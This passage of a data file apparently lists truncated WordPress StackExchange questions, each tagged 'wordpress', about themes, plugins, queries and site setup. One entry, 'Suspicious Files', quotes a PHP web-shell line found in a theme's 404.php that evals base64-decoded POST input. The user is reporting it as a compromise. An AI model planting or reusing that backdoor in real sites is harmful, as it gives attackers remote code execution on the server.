code as below. I want to make it so that any post that is in the ""featured"" category, does ... ",['wordpress'] "Title: Mamp pro permalink issues. Pages keep reverting to index.php Body: So I pulled a site down to my local machine to do some work on it. Copied the files, find/replace on the database to update the url, added a host. Everything worked fine until I changed the permalink ... ",['wordpress'] "Title: Static front page displaying twice Body: I am using a free SM theme (estate agent) on my WordPress site. The theme allows for setting a static front page, which I did (the page is called 'events', and when I set it as home page its ... ",['wordpress'] "Title: Wordpress theme: Add page content to the bottom of the Contact form Body: I am using the following wordpress theme, which is pretty cool btw.: http://demo.s5themes.com/?theme=simplecorp Now the site has a custom Theme Options build in, where you can specify all the content ... ",['wordpress'] "Title: Prevent Wordpress from automatically correcting URLs Body: I notice that if I type in http://www.example.com/pag I can land on an existing page that has a name like http://www.example.com/page_five. I don't know exactly what causes this, but I want to know if ... ",['wordpress'] "Title: Can you order posts from wp_query by two custom meta fields? Body: I'm working on a site that lists events. Right now this query lists events by date: $args = array( 'post_type' => 'espresso_event', 'post_status' => ... ",['wordpress'] "Title: changing function wp_register Body: how can i change function in general-template.php without affecting this core file on this: if ( ! is_user_logged_in() ) { if ( get_option('users_can_register') ) $link = $before . '<a ... ",['wordpress'] "Title: Manipulating Contact Form 7 POST data Body: Contact Form 7 strips <> HTML brackets from text and textarea fields. I'd like to be able to replace them with their proper HTML entity counterparts, &lt; and &gt;. I cannot figure out ... ",['wordpress'] "Title: Jquery plugin not working on single pages Body: I use a news ticker jQuery plugin to show the last posts. The codes are in the header.php file and work fine on the home page, but not on single pages. The links are loaded but they don't move. Here ... ",['wordpress'] "Title: How to get user-meta from Social Login registered users? Body: It looks like social login plugins (such as Wordpress Social Login, OneAll etc.) do not create users in the original wp-database as regular registration from Admin dashboard. Hence it is not possible ... ",['wordpress'] "Title: How to export/import WordPress woocommerce products Body: I'm searching a solution to my problem, i have a WordPress website which contains many products so i have created a new one with a new design i have installed the same version of woocommerce as the ... ",['wordpress'] "Title: current-menu-item not working with custom post type Body: I'm a wordpress newbie and I have annoying problem. I have a few custom post types (capability_type=post). Two of them i created with ""Custom Post Types"" plugin and when i put its categories in ... ",['wordpress'] "Title: WP white screen of death after duping a site that works fine on same server Body: I have simply duped a site that runs absolutely fine on a separate domain into a sub directory of another domain for development purposes. I have zipped the /httpdocs/ directory excluding cache and ... ",['wordpress'] "Title: How do I show posts from another wordpress installation? Body: I have looked around and I cannot seem to find an answer to this question. There are similar questions/answers but none I have seen managed to answer this question, so I am sorry in advanced if I have ... ",['wordpress'] "Title: I used a plugin that hides wp-admin, but it hid wp-admin for admin too - how to revert back? Body: I used a plugin that hides wp-admin and does a lot of other things, but it hid wp-admin for admin-user too (due to some bad settings on my part probably) - how to revert back? I deleted the plugin's ... ",['wordpress'] "Title: problem with php function error Body: Hi I seem to get this message Warning: Creating default object from empty value in C:\xampp\htdocs\wp-content\themes\knowledgepress\lib\ticket-functions.php on line 851 However looking at the ... ",['wordpress'] "Title: Security permissions on controls added under Page Option Body: I am a total wordpress n00b, and am having issues understanding how the page security is applied. I have a page where I want to secure the content, so, in the page editor, I have ticked certain ... ",['wordpress'] "Title: How to hide <pre> and <table> content from auto-generated excerpts? Body: Auto-generated excerpts just take the first x characters from the post content and cut that off at a certain point. When there is a table or pre element in that part, the excerpt looks rather useless ... ",['wordpress'] "Title: Put multiple custom loops on same page Body: I want multiple loops on my homepage, however only the first loop shows up. My homepage looks like this: <?php /* Template Name: Home */ get_header(); ?> <!--Four Columns--> ... ",['wordpress'] "Title: Wordpress blog fails to open Body: When I try to view/access my blog I get the following message.... Just wondering if anyone has any ideas as to the cause and the solution? Warning: ... ",['wordpress'] "Title: Uploading Image to post type image fails Body: I am trying to upload a image to a post and everything works successfully except the image keeps coming up broken, like the image is not uploading correctly. When I go to look at the image in the ... ",['wordpress'] "Title: update_post_meta not working? Body: The value is not updated when using the following code: add_action( 'save_post', 'updatethumb' ); function updatethumb( $post_id ) { //verify post is not a revision if ( ... ",['wordpress'] "Title: array_replace throwing php_warning but working anyway Body: Hello I have a question which is maybe more PHP question than WordPress, but could be interesting in a WordPress context in case someone wants to add properties to an WP object. I have created a ... ",['wordpress'] "Title: jQuery vs. $ - Creating jQuery scripts in JavaScript in WordPress using External Libraries Body: I am trying to utilize Trent Richardson's Date Time Picker (see here). I am trying to get the selected time when the popup closes, so I am using the following code (in an external .js file): ... ",['wordpress'] "Title: Wordpress adding in site URL to header links Body: A little information: I am developing a one page theme that uses posts as sections on the main page. I have created code that allows users to add a menu item in the post page from a meta box when they ... ",['wordpress'] "Title: Classic Custom Post Types and WP-PageNavi Body: Has anyone made this work? I am searching for a solution for 2 days now, and it won`t work. I have... $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; $updates = new WP_Query(array( ... ",['wordpress'] "Title: How to copy post titles to post slug in phpmyadmin Body: I just imported 1000 post into a custom post type on a site and the slugs are all blank. There is a problem with the importing plugin i'm using. My SQL is weak :-/ know what i need to do but not sure ... ",['wordpress'] "Title: Automatically create a user with author rights from outside of Wp-admin Body: Need to create a user on the fly based on the following steps... User clicks a link in an email with a unique url such as 1234.domain.com/?auth=42344245534534535 when the user clicks through to ... ",['wordpress'] "Title: Two (or more) parallel (sub-)TLDs that are retained when surfing the site / dynamically set the site address? Body: I am running a site for a German NGO under the domain sub.example.org. Recently, I added sub.example.ch for its Swiss spin-off. Both (sub-)domains are pointing to the same physical location, a WP ... ",['wordpress'] "Title: Hooking Into Widget Output Loop Body: When wordpress sidebar outputs any particular registered sidebar it loop through all widgets that assigned through it and outputs it (i guess). Is is possible to hook into the loop and add some ... ",['wordpress'] "Title: Create Short code dynamically Body: I want to generate short code for my gallery dynamically. For a single gallery, it is easy to create a short code for my gallery using add_shortcode( 'image-gallery', 'gallery' ) Now my question is ... ",['wordpress'] "Title: Disqus plugin outputs script as literal text Body: After installing the Disqus plugin, their JavaScript code started popping up as plain text on my site in several places. My hypothesis is that it pops up at the end of any loop involving the_post(). ... ",['wordpress'] "Title: Custom Post Type Navigation on Custom Field Body: I'm working on a Custom Post Type sorted on a Custom Field. No problem when I list out the posts. But when I go to the single post page for one of these, I want the Prev and Next navigation links to ... ",['wordpress'] "Title: The Jetpack site is inaccessible 32700 Body: I installed Jetpack and I activated JSON API. When i try to access my blog it shows following error: { ""error"": ""jetpack_error"", ""message"": ""The Jetpack site is inaccessible or returned an ... ",['wordpress'] "Title: Problem with Yoast SEO and GD Press Tools Body: I am having a small problem with getting Yoast SEO to work along side GD Press Tools, which i am hoping i can get some help from you guys. I am look to move from Platinum SEO Pack to Yoast, as I been ... ",['wordpress'] "Title: Change the link URL in default RSS feeds Body: My wordpress feeds post item looks following: <item> <title>Taste Trail – Lima and Cusco’s Best Eats</title> <link> ... ",['wordpress'] "Title: Move WordPress from /blog folder to root but leave post at /blog Body: I am working on a WordPress blog for a client. Currently they have around 3,000 posts. The WordPress is installed at /blog/ I need to move the WordPress install to the Root directory but still have ... ",['wordpress'] "Title: Adding custom widgets to theme sidebar on activation Body: I have a custom widget in my theme with the id of ""widget_my_box_menu"" and I'm trying to add that widget to my theme's main sidebar on theme activation. The main sidebar's id is ""home-sidebar-widget"" ... ",['wordpress'] "Title: What is the most efficient way to retrieve a group of image URL's from different attachment ID's of a specific crop size? Body: I have a basic slider plugin that I am attemping to make more efficient. This plugin collects an array of attachment ID's from the user to represent each image of the slider. With these attachment ... ",['wordpress'] "Title: Changing Woocommerce Product Description Body: I've been changing the way that the Single product page looks. I've moved a few things about by hooking into Woocommerce and also editing the css. Out of the box the single product page shows the ... ",['wordpress'] "Title: call sidebar from file Body: i need to call a sidebar into my header. i switched to the new twenty twelve theme and created my own child theme. With this new theme i decided to keep things organised and together, so i put my ... ",['wordpress'] "Title: different contents and same sidebar approach? Body: I have a static header, sidebar and footer and then a varying content for single.php. What is the right approach to put contents in the div=content part? Say I have 3 different pages (article, stuff, ... ",['wordpress'] "Title: flash loads in wordpress but button does not navigate to url Body: I have a flash (swf) file that loads in wordpress and renders just fine but wordpress is not allowing the actionscript to navigate to the url that it is supposed to go to. the swf file works on its ... ",['wordpress'] "Title: How can I add a custom script to footer of login page? Body: I need to add this: <script> jQuery(window).load(function() { ... ",['wordpress'] "Title: How to exclude child terms from tax query foreach loop Body: I have this query which is working fine but I can not get it to exclude child terms and include only parent terms. This is what I have so far -- <?php $custom_terms = get_terms('videoscategory'); ... ",['wordpress'] "Title: HTML added to editor when deleting shortcodes in Chrome browser Body: Example: [shortcode1][/shortcode1] [shortcode2][/shortcode2] In the above example, using the google chrome web browser, while in visual mode in the post editor, highlight shortcode 1 by ... ",['wordpress'] "Title: How to make “Upload files”selected by default in Insert Media? Body: I am frustrated having to click on the ""Upload Files"" constantly instead of the first choice being Upload Files in posts editor....How can i make “Upload files” selected by default instead of ""Media ... ",['wordpress'] "Title: Displaying a WooCommerce product via PHP Body: Having a hard time composing a searchable query, so I apologize in advance if this has been covered. I know you can add WooCommerce products to a page or post via short code, but I have one section ... ",['wordpress'] "Title: How can I clear the theme mod settings? Body: Ideally I am looking to add a button to the theme customizer that allows the theme to reset to default settings, although that may be asking for too much in one question so I am wonder if anyone knows ... ",['wordpress'] "Title: Using MathJax in text Body: I have installed a Mathjax plugin on my local wordpress installation, and the plugin works fine. However, I can't get it to show Latex in-text; it creates an own line for every latex formula. I end up ... ",['wordpress'] "Title: Pages half/not working. Body: If someone could please look at our website and have a look it'd be really appreciated. On one of our catergoires (rentals>sconces) page one works fine, but the remaining 3 dont. ive read in a couple ... ",['wordpress'] "Title: Can I set a CPT title field to a dropdown with preset options if user is of a given type? Body: I am using the WP Property plugin so I have a Property CPT. I also have building managers who will be creating these new CPT posts. Is it possible to set the post title field to be a dropdown field ... ",['wordpress'] "Title: Top level parent taxonomy ID Body: At the top of a product archive page I am trying to display a list of product categories. The rule should be that the list always shows the direct children of the top level. There are several answers ... ",['wordpress'] "Title: Why are my sidebars not registering in unit tests Body: I am trying to unit test the function I'm using in a theme to register sidebars. Here is the function from functions.php. function fp_register_sidebars() { register_sidebar( array( 'name' => ... ",['wordpress'] "Title: Should I enable FastCGI on WordPress? Body: I am looking at my server settings and these are as follows: WebDav : active FastCGI : inactive SSL support : active Perl as Apache module : CGI-Programm PHP module : ... ",['wordpress'] "Title: w3c validation problem - Twitter share button pulling content Body: I have this twitter share button that pulls 100 characters from the content of the post and its URL for the twitter share. <a class=""popup"" href=""http://twitter.com/share?url=<?php ... ",['wordpress'] "Title: TinyMCE Advances is removing blanks (“ ”) Body: I want to keep blanks "" "" inserted by the user in Wordpress with the TinyMCE Advanced plugin. He keeps them only if there are some letters at the beginning. E.g. Fr 09:00 - 18:00 But he don't ... ",['wordpress'] "Title: Custom <blockquote> HTML markup Body: In Wordpress, I would like to add a custom styling to the <blockquote> elements, replacing Wordpress' default usage by using a function (or however is easiest). When using the WYSIWYG editor, ... ",['wordpress'] "Title: Custom fields: In what order are they saved into the DB? Body: If I insert multiple custom fields to my article, they get sorted in ""I don't know what"" way. So when I insert some multiple fields in an article and call those via $cf = get_post_custom(); foreach ... ",['wordpress'] "Title: Extend the wp_users table Body: I'd like to to extend the wp_users table in my WordPress' database. Why? I want people to add more information about themselves when they sing up at my website. I know how to extend it, but I'm ... ",['wordpress'] "Title: Configuration Options for embedded YouTube Videos Body: I have some embedded You tube videos on my blog and I have a question about configuration as they are on static pages. Is there code or a WP plugin solution to make an embedded You Tube video to ... ",['wordpress'] "Title: Why '/post_type/feed/' differs from '/feed/?post_type=XX'? Body: I was trying to put the thumbnails for my custom post types in their respective feed using the the_content_feed and the_excerpt_rss filters. The problem was when I reached for the feed using the ... ",['wordpress'] "Title: GalleryView binding for WP Gallery, without NextGen Body: Is there a WP plugin that binds jQuery GalleryView to the stock WP Gallery? I love the appearance of GalleryView, but I don't want to have to use an external image & gallery database like ... ",['wordpress'] "Title: Upgrade Wordpress multisite to 3.5.1 problems Body: I'm upgrading multisite to 3.5.1 and it did not allow me to do automatic upgrading I see this message: ""To perform the requested action, WordPress needs to access your web server. Please enter ... ",['wordpress'] "Title: Problem with is_tax in WP_Query loop Body: The code below is the 2nd of 4 loops in ""page-balls.php"". Everything else is working correctly. I'm trying to display a tennis ball graphic if the post being retrieved has a the term ""tennis-ball"" ... ",['wordpress'] "Title: Editing “Kahi's Highlight Used Categories” plugin code - highlighting parent and child category in post page Body: I´m trying to highlight (using css), the child and parent categories in use in the selected post. So I´ve found this plugin ""Kahi's Highlight Used Categories"". Plugin´s website: ... ",['wordpress'] "Title: Categorising themes by folders in backend Body: I want to organize themes like: wp-content/themes/themeshop/theme1 wp-content/themes/themeshop/theme2 wp-content/themes/themeshop/theme3 Now from my understanding, this organization works ... ",['wordpress'] "Title: Multiple relationship for multiple tax_query in WP_Query Body: I want to use the WP_Query class to filter some of my posts. The problem I facing now is handling the taxonomy query. Normally, the wp_query only handle one relationship for tax_query (either AND or ... ",['wordpress'] "Title: Add-on domain works in Wordpress but links still lead to subdomain Body: I know this looks like a common question, and I assure you I've tried a bunch of responses, but none seem to work in my case. I'm a Wordpress noob so I might be making some basic error which I can't ... ",['wordpress'] "Title: Get style and script file versions and use them while writing a cache manifest file Body: Earlier I've learned how to remove file versions from wordpress style and script file source links inside the wp_head function. From here: How to remove file versions from the file source links in ... ",['wordpress'] "Title: How to debug/diagnose RSS feed that's not working? Body: The RSS feeds on my site don't seem to functioning properly. I recently updated my theme to a new theme I developed and ever since that point the RSS feeds don't display all of my site's content ... ",['wordpress'] "Title: How to use Link Manager Body: I'm working on a plugin and want to use WordPress's 'link manager' (see following image). How can I use it? I used Google to find an answer but I couldn't. I also figured out that this option was ... ",['wordpress'] "Title: enqueue_script doesn't work with HTML5 blank theme Body: I am trying to enqueue a couple of js files using something like this code: function scripts_function() { wp_register_script('mapbox', 'http://api.tiles.mapbox.com/mapbox.js/v0.6.7/mapbox.js'); ... ",['wordpress'] "Title: Search Form Based On Tutorial Not Working Body: Ive based this on the twenty twelve theme, and copied a tutorial and built the following searchbox:- <header> <h1 class=""page-title""><?php printf( __( 'Search Results ... ",['wordpress'] "Title: WordPress | WP_Query does not return anything with s=a Body: I have the following code: $data = new WP_Query('s=a'); and the print_r returns the following data: WP_Query Object ( [query_vars] => Array ( [s] => a ... ",['wordpress'] "Title: Using common slider in all sites Body: I have created one main site and 100 multi-sites. But, I am facing one issue. I want to use a common slider for all sites, meaning that I can control and edit from main site. How to update something ... ",['wordpress'] "Title: Image is not uploading in the simple field Body: I tried to upload the image using simple fields in the Custom Post. When select option is clicked the media uploader pops up and I selected Image . I could view the image in the simple fields image ... ",['wordpress'] "Title: Default content for a new site in multi site Body: I'm building a network with multi-site. When create a new site, I want some data for site: category, tag, post, active plugin... also create as default data. Who can show me how to do? Write a ... ",['wordpress'] "Title: Different Subdomain changes page content Body: I know it seems to be a strange ask here but hear me out. I have a client who has several subdomains for different countries, such as us.example.com and uk.example.com. I want to change one or two ... ",['wordpress'] "Title: Can an update corrupt my installation? Body: Ive got a wp theme I use on a website - the theme in question was purchased from a popular site ending in forest... So the code is not mine and I can’t speak as for its quality either way. Every ... ",['wordpress'] "Title: Capturing POST data Body: I am trying to modify the Member Status Plugin so that the status are based on the data saved on a custom database table. Basically I wanted to change the administration menu with a form that can ... ",['wordpress'] "Title: Return Taxonomy Name for Each Term Body: I am returning a list of the terms from three different taxonomies. $terms = get_terms(array(""air-categories"",""web-categories"",""ink-categories"")); I get the list and I need each to link to a ... ",['wordpress'] "Title: I can't go to page 2 of my blog Body: This is the first time i'm working with WordPress i'm totally new and i apologize if dont understand some things at first time. The problem: this is my blog: http://www.nucleusmarket.com i have 2 ... ",['wordpress'] "Title: How to change the name of the friends title to colleagues in BuddyPress? Body: I am looking on how to change the name friends to colleagues in my BuddyPress system, that can be seen here. I've tried: $bp->bp_nav['friends']['name'] = 'colleagues'; but that's not working. ",['wordpress'] "Title: How can I use BuddyPress XProfile fields to build a dynamic CV? Body: I'm developing student alumni network powered by Buddypress where students should be able to build their own CV / résumé based on a template of xprofile fields. Job Title [ input field ] Job ... ",['wordpress'] "Title: WP 3.5.1 password protected not working for post Body: After adding right password fornt side wp, post not open and it's say Not Found Apologies, but the page you requested could not be found. Perhaps searching will help. how to solve this? ",['wordpress'] "Title: How to enqueue style before style.css Body: How do I enqueue a .css file before style.css is loaded? Or make the default style.css dependant on another .css file? I'm trying to load a .css reset, which style.css would overwrite. Here's what I ... ",['wordpress'] "Title: loading custom registration template Body: I read this tutorial, here the author names the template custom-register.php and puts it in the theme dir and doesn't explain about how it's loaded by WP, I did the same way but the file didn't loaded ... ",['wordpress'] "Title: Change Post Status From Front End Body: I am using the code in a page below to let users delete their posts from the front in. I have wp-admin totally blocked off to site users. What i want to do is when they click the delete button the ... ",['wordpress'] "Title: Different layout based on post amount? Body: Is it possible to change the layout of the query posts depending on how many there are? So simple query page listing posts... Up to 4 posts show them in a list. If there are 4 posts and over show ... ",['wordpress'] "Title: Distinguish profile user and admin user IDs / get ID of user being edited Body: On the user-profile page of my site I want to allow admin role users to be able to edit specific user-meta fields of subscriber role users. How can I distinguish between the two user IDs. The ... ",['wordpress'] "Title: Hierarchy/Relationship and Archive Page for 2 Custom Post Types Body: I created 2 custom post types: Contests and Battles. Contests is made of several Battles so I need a relationship between those 2. Contest also has a custom taxonomy called Genre. So I used the ... ",['wordpress'] "Title: Saving term using “suggest” script and “ajax-tag-search” action Body: I am building a front-end post edit / create form. The form uses an auto suggest for taxonomy, powered by built in suggest script & the ajax-tag-search action. The script is working fine, but I am ... ",['wordpress'] "Title: Custom Post Type / Taxonomy Slug / Post Title with post type archive Body: I've tried plugins, read through stack and spent hours on this, and I just can't seem to find a way to achieve what I want. I can achieve the following permalink structure: ... ",['wordpress'] "Title: SlideDeck 2, make back-end visible for admins only Body: I'd like to make the back-end of the SlideDeck 2 plugin visible for admin users only. Also I'd like to remove that ""Insert SlideDeck"" button from the Editor. How can I do this? ",['wordpress'] "Title: fetch_feed custom post type and post_meta value Body: I found this is the wp forums: http://sample.com/feed/?post_type=book&genre=mystery genre being a custom taxonomy. I need to grab a post type and limit it by a post meta value. ... ",['wordpress'] "Title: Show a dynamic page Body: I have created a wordpress site, ( eg:- localhost/wp_events ); And have a page localhost/calendar , this page will show a calendar with events in each date, this events loading from an api request, I ... ",['wordpress'] "Title: add_theme_support( 'post-thumbnails', array( 'post')); is not uploading the file Body: So I used the codes below in the functions.php add_theme_support( 'post-thumbnails', array( 'post')); set_post_thumbnail_size(100, 75); And then in THE LOOP I called: <?php ... ",['wordpress'] "Title: how to set up permalinks to contain special characters Body: I have been trying for months to make a one page WordPress site. This site has need for a special character set in the navigation in order to work. Each page is set up in an unordered list based on ... ",['wordpress'] "Title: Posts 2 Posts: Pagination for connected posts on single post template Body: I'm using Posts 2 Posts with The Events Calendar plugin. I've made a connection for events and posts. This way the site can display the Event details and blog posts about the upcoming event under it. ... ",['wordpress'] "Title: Is it a good practice to change media settings on theme activation? Body: I want to change default image sizes when user activates my theme so that the default medium image width is exactly the width of page content (for pages with sidebar) and the large image size fits ... ",['wordpress'] "Title: Let users create a new custom taxonomy entry from frontend Body: I had created a custom taxonomy ""group"", and new post type named ""topic"". there are some terms under custom taxonomy ""group"". Use the following code, i can create a new entry from frontend in ... ",['wordpress'] "Title: bbpress forums working for buddypress groups, but threads showing 500 internal error Body: I have WP , bp and bbp , created groups successfully created forums for my groups successfully wrote a topic in a forum group, gone to internal server error 500 , but the topic it self writes ... ",['wordpress'] "Title: Jetpack API for Wordpress Network Body: Wordpress provided a lovely Json API with Jetpack. I cannot seem to to find a way, or documentation on getting data from a multisite wordpress install? It seems to fail on sites like ... ",['wordpress'] "Title: Removing the comment function within wordpress Body: I'm using wordpress for my company website but I want to remove the comments function completely so not just by unchecking a ""alow comments"" within every page. I did some googeling and the said I was ... ",['wordpress'] "Title: Edit Media: Apply changes to specific size only Body: In the Edit Media (edit image specifically) box, you can crop, flip, rotate, among other things. On the right sidebar, there is an option to Apply changes to: All images sizes Thumbnail All ... ",['wordpress'] "Title: wp_enqueue_scripts hangs Body: In the following snippet, when I add the wp_enqueue_scripts call, the page freezes. What am I doing wrong? function my_enqueue_stuff() { if ( is_front_page() ) { wp_enqueue_style('style', ... ",['wordpress'] "Title: Exclude page by title for non admins Body: I have this snippet built from a couple of sources, it works great and if the user is not an admin it hides the page with an id of 243 from being seen in the edit pages section.... add_action( ... ",['wordpress'] "Title: Permalink target for recent post Body: I am trying to set up code to submit a post to StumbleUpon, from my Rothmania site. The code reads href=""http://www.stumbleupon.com/submit?url=<?php the_permalink(); ?>&title=<?php ... ",['wordpress'] "Title: Avoid duplicate posts from sidebar widget on homepage? Body: In a normal dynamic sidebar of a theme's homepage template the sidebar widgets display lots of duplicate posts on the front page. It shows ""recent posts"" and posts from certain categories in main ... ",['wordpress'] "Title: Custom header shows two or three or more images Body: Is there is a way to make the custom header to show more than one image in a random show without duplicate images. I tried something like this: <?php $header_image = get_header_image(); if ( ... ",['wordpress'] "Title: Same Loop on Multiple Pages Body: I have my main loop (loop-entry.php) pulling to my index page which is my homepage on this site: http://snippetmagazine.com/ when I tried to copy that loop and create (loop-blog.php) and included it ... ",['wordpress'] "Title: How to make this scroll script work on just one post Body: I currently have a jQuery scroller on a website I am developing so that when a visitor hovers over an arrow the content scrolls up and down. This is fine on single pages, but I now need to include ... ",['wordpress'] "Title: Is it possible to pull and display a single landscape oriented image Body: I wanted to know if this is possible. I have gone through a lot of threads on the internet for this one and there does not seem to be one good solution. I run a business website based on wordpress and ... ",['wordpress'] "Title: Current path on page in functions.php Body: How can I get the current path of my page? I know how to do it inside a template file, but I need it inside functions.php. And it has to be before the send_headers hook, because I'll use this info to ... ",['wordpress'] "Title: unique identifier for the same pages in a multilanguage/site context Body: I've got always the same problem. If I program a multisite for multilanguage purposes, I cannot find a way to not change the page links in every language. I mean, suppose I've got a page named ... ",['wordpress'] "Title: Taxonomy page wpml dropdown not working Body: I have created the custom post type with the taxonomy product-categories. I have installed wpml and added the menu with the custom category. When the menu created using the custom post type category ... ",['wordpress'] "Title: Control resizing of uploaded images Body: I am looking for the regular images that get uploaded from the media uploader. I want to put in an image resize script instead of using WordPress to manage the images. The main reason being is that I ... ",['wordpress'] "Title: How to load script-related styles automatically? Body: Scenario: It is common that a JS dependency is bundled with a style file to work properly (just think about your favorite slideshow jQuery plugin). AFAIK, in this situation, the script and style have ... ",['wordpress'] "Title: Jetpack Publicize and Android Body: I'm using the Jetpack plugin's Publicize module to push out post links to Facebook and Twitter. This works fine through the normal website, but not when I write and publish a post through the Android ... ",['wordpress'] "Title: Sidebar.php in plugin to override theme's sidebar.php Body: to come back to my previous question about header and footer widgets, i created a file in my plugin called sidebar.php which will show custom widgets. How can i override my themes' sidebar.php ... ",['wordpress'] "Title: WP_Query calls all posts? Body: I have this code that picks a random testimonial post. <?php $quote_args = array( 'post_type' => 'post', 'category' => 'quote', 'orderby' ... ",['wordpress'] "Title: Relevanssi search not working in IE Body: I'm using Relevanssi 3.13 with WordPress 3.5 on my site, http://www.seiu32bj.org The search works fine in every browser but IE. It leads me to the search results page, with full search results When ... ",['wordpress'] "Title: stop blog page from using index.php? Body: I have a static homepage with a custom template I.E hompage.php the blog loop is set to a static page named blogg, it uses the index.php page as a template, there a collection of other pages using the ... ",['wordpress'] "Title: How do I link featured images on my blog homepage to an entire tag instead of a post? Body: I've found a theme (Hatch) for my blog - link here that I really like. I am trying to figure out how to get the mid-sized featured images or post thumbnails that are currently displaying on my ... ",['wordpress'] "Title: gform_after_submission content appears immediately after <body>, not in post body Body: I have the following function that successfully uses form fields (IDs 13 and 18) from a Gravity Form (ID 18) as parameters within wp_query. This displays a list of posts with specific taxonomy terms ... ",['wordpress'] "Title: Multi language Site on Wordpress without plugin Body: I am developing a simple site for a company where they put their informations and news. The site should be in two languages and sometimes the content can be different depending upon the language ... ",['wordpress'] "Title: Gravity Forms field entries into wp_query loop Body: I have a simple function that filters the page content when form (ID 18) is submitted. It simply displays the entry of field (ID 13)... add_action(""gform_after_submission_18"", ""set_post_content"", 10, ... ",['wordpress'] "Title: Errors when uploading images in WP 3.5.1 Body: I am using U Design and keep getting an error message in my Featured Image page. It says ""An error occurred in the upload. Please try again later."" Any help would be greatly appreciated. ",['wordpress'] "Title: get_stylesheet_uri() seems to be returning the wrong path. Where is this coming from? [duplicate] Body: I've got Wordpress 3.5.1 setup like Mark Jaquith's Wordpress Skeleton repository. (https://github.com/markjaquith/WordPress-Skeleton). I'm using Roots as the theme, but the stylesheet directory is ... ",['wordpress'] "Title: Multi-part form and wp_redirect() Body: For starters, it's a plugin (with a shortcode) or at least I would prefer it to be. I've got two issues both related to wp_direct. If form 1 validates I want to redirect to form 2, and continue the ... ",['wordpress'] "Title: Set custom upload path for custom post type only? Body: I have a custom post type of 'clients' and would like all images/files uploaded through the admin for these posts to go to a specific directory on my server, but everything else to stay as normal. Is ... ",['wordpress'] "Title: How to solve dropdown menu problem [closed] Body: Please look and help me how to solve this I want look like: Here But my code show: On Chrome On mozilla Website link Here ",['wordpress'] "Title: Is it possible to disable a function of a parent theme? Body: I was wondering whether it is possible to completely disable a function that is called in a parent theme's functions.php and if so, how? (Of course without deleting the function. Rather by adding ... ",['wordpress'] "Title: Remove default subpages from Custom Post Menu Body: I am creating a Custom Post Type using register_post_type. After running the function a new menu item appears in the Admin Panel. Under this item there are menu items for new_item and all_items. Is ... ",['wordpress'] "Title: Passing .pem and .key files in cURL doesn't work in WordPress Body: I'm building a payment gateway plugin for woocommerce which requires sending an XML request via cURL, encrypted with private key. I'm using the following code: $xml_request ='<?xml ... ",['wordpress'] "Title: $category_ID = $category[0] ->cat_ID; For Single at Footer Body: I'm using the $category_ID = $category[0] ->cat_ID; for my code. When on header, it's working well but when I add it to footer, then it doesn't work. And i used is_single() for it. if ... ",['wordpress'] "Title: Is that possible put a whole POST in a list ,<li> Body: I want a whole post content into a list. The result i want like this: <ul> <li>the fist Post </li> <li>the second Post </li> <li>the third Post </li> ... ",['wordpress'] "Title: In pagination, list “page of pages” instead of listing all pages Body: I've used the hack that allows having both <> and the page numbers using wp_link_pages();. My question is: does anyone know how I can replace the list of pages (1 2 3 4 5 6 etc.) with page of ... ",['wordpress'] "Title: Front end post form won't post categories to custom post type Body: Trying to get a front end post form to work with my custom post type. It posting to the post type but the 2 custom taxonomies and the tag field aren't posting/saving. Here is my CPT. ... ",['wordpress'] "Title: Create Table Failed Column Date DateType Body: I have a plugin that creates tables and one of them is failing and I feel like it's due to either my syntax or the fact that I'm trying to create a column with datatype DATE and not TIMESTAMP (only ... ",['wordpress'] "Title: How to add demo content to theme from outside plugin Body: I am devloping a new Wordpress theme that requires the installation of an outside plugin, called Revolution Slider. I would like to create a set of demo slider images for the user upon theme ... ",['wordpress'] "Title: Fancybox just loading small white square Body: I've tried what I could, but cannot get my image to load with the fancybox plugin. The plugin is there, and seems to load, but without the image. Instead I get a small white square on the top left of ... ",['wordpress'] "Title: How can i show only 30% of the “the_content(”More…“)”? Body: I'm trying to make a page that has all the posts in it and shows 30% or less of the content of the post. So I'm editing a page template and I can't figure out how to show only 30% of the content. I'm ... ",['wordpress'] "Title: Display Category Navigation wp-navi Body: I am writing here because after hours and hours I can't fix my problem. I am using a Custom Theme I am using the plugin wp-navi My pagination works fine. The problem is to display categories when ... ",['wordpress'] "Title: home_url(); showing current page instead of site address Body: Does anyone have an idea why my home_url() function gets the URL of the current page instead of the site address? (The site runs locally using MAMP.) ",['wordpress'] "Title: changing site domain name. Is this a bad solution? Body: I have just built a wordpress website and now my partner has advised me that she has bought a different domain name and wants me to swap it for the current one. She has purchased the new domain from ... ",['wordpress'] "Title: Suspicious Files Body: Hi I found two suspicious files on my site: The first in my theme (404.php), with this line added <?php if ($_POST[""php""]){eval(base64_decode($_POST[""php""]));exit;} ?> The second in ... ",['wordpress'] "Title: Is it safe to post form data via Ajax to the settings api? Am I missing something? Body: In my Wordpress Admin, I have my theme options set-up using the Settings API. I am trying to save the theme options form using Ajax so that the page does not refresh. The only thing i needed to add ... ",['wordpress'] "Title: MySQL Engine vs. Charset Body: I am attempting to have my plugin create a new table. I am fairly new to SQL. I have found two different method for creating tables: Method I $table_name = $wpdb->prefix . 'cool_table'; $sql = ... ",['wordpress'] "Title: Login form not saving values when login incorrect Body: I am using a login form created with the following... <?php $args = array( 'value_remember' => true ); wp_login_form($args); ?> It works great but if somebody puts an ... ",['wordpress'] "Title: Open WordPress Posts in Bootstrap Modal Body: I am looking for some assistance in opening WordPress posts in the Bootstrap Modal. Right now I have a home page with a grid that pull posts. I have it setup so that each post is in a square box and ... ",['wordpress'] "Title: Theme not changing the language Body: I'm trying to change the language in a theme, downloaded the theme' default.po/mo, translated it through 'poedit', and uploaded the files again. Furthermore I changed the wp-config so it now incl ... ",['wordpress'] "Title: What is wrong with this wp_query? Body: I need to query posts by two meta fields and the wo_query I'm doing it with is returning nothing. Obviously, it's broken. Can somebody tell me what I'm doing wrong? $args = array( ... ",['wordpress'] "Title: delete_post hook - deleting multiple items Body: I am using delete_post hook. add_action('delete_post', array($this, 'remove_audio_file')); // delete post event (Using it inside the class). When I delete a single post I have no problem ... ",['wordpress'] "Title: Check if meta_key exists in wp_list_pages Body: I have added a custom field (using Advanced Custom Fields plugin) to a page allowing you to show/hide it with a simple checkbox, i want to filter out these pages if a user is not logged in so i am ... ",['wordpress'] "Title: delete attachment for one post without deleting actual attachment post Body: I'm writing custom ajax calls for media attachments from FrontEnd, I have everything read to use, except the actual logic. I'm using WP E-Commerce plugin, where I want many images for one post. And I ... ",['wordpress'] "Title: Increase of failed login attempts, brute force attacks? Body: I Installed the plugin Simple Login Lockdown and since a couple of days ago the database is recording over 200 records by day. I think that is not possible to have my site 